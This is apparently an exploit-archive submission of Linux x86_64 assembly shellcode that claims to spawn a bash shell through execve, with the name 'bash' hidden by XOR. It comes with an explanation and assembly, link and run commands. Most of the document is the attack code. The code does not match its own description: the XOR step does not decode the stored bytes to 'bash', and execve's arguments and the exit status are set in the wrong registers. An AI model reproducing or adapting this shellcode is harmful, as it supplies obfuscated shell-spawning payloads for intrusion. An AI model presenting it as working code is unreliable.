Exploit Title: Linux/x86_64 - bash shellcode with xor encoding
Date: 05/02/2023
Exploit Author: Jeenika Anadani
Contact: https://twitter.com/cyber_jeeni
Category: Shellcode
Architectue: Linux x86_64
Shellcode Length: 71 Bytes
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section .data
section .text
global _start
_start:
; set up argv and envp arrays for execve()
xor rax, rax
mov [rsp-8], rax
mov qword [rsp-16], 0x72613162 ; encrypted 'bash'
xor byte [rsp-16], 0x08
xor byte [rsp-15], 0x16
xor byte [rsp-14], 0x24
xor byte [rsp-13], 0x32
lea rdx, [rsp-16]
mov qword [rsp-24], rdx
mov qword [rsp-32], rdx
lea rdi, [rsp-32]
; call execve()
xor eax, eax
mov al, 59
syscall
; exit with status code 0
xor eax, eax
mov ebx, eax
mov al, 60
syscall
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#### Explanation:
This code uses XOR encryption to obscure the name of the program being executed, `"bash"`. The XOR encryption key is `0x08162432`, which is applied to each byte of the string. The decryption is performed just before calling `execve`, so the program name is passed in its original form.
The rest of the code is the same as the previous example, making a system call to the `execve` function and then calling the `exit` syscall to terminate the process.
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### Compilation AND Execution:
To run the x86_64 assembly code on a Linux system, you need to assemble it into an executable file and then run the file. Here are the steps:
1. Save the code to a file with a `.asm` extension, for example `bash.asm`.
2. Assemble the code into an object file using an assembler, such as NASM:
`nasm -f elf64 -o bash.o bash.asm`
The `-f elf64` option specifies that the output format should be ELF64 (Executable and Linkable Format), and the `-o` option specifies the name of the output file, `bash.o`.
3. Link the object file to produce an executable file using the `ld` linker:
`ld -s -o bash bash.o`
The `-s` option removes the symbol table from the output file to make it smaller, and the `-o` option specifies the name of the output file, `bash`.
4. Make the file executable:
`chmod +x bash`
5. Finally, you can run the file:
`./bash`
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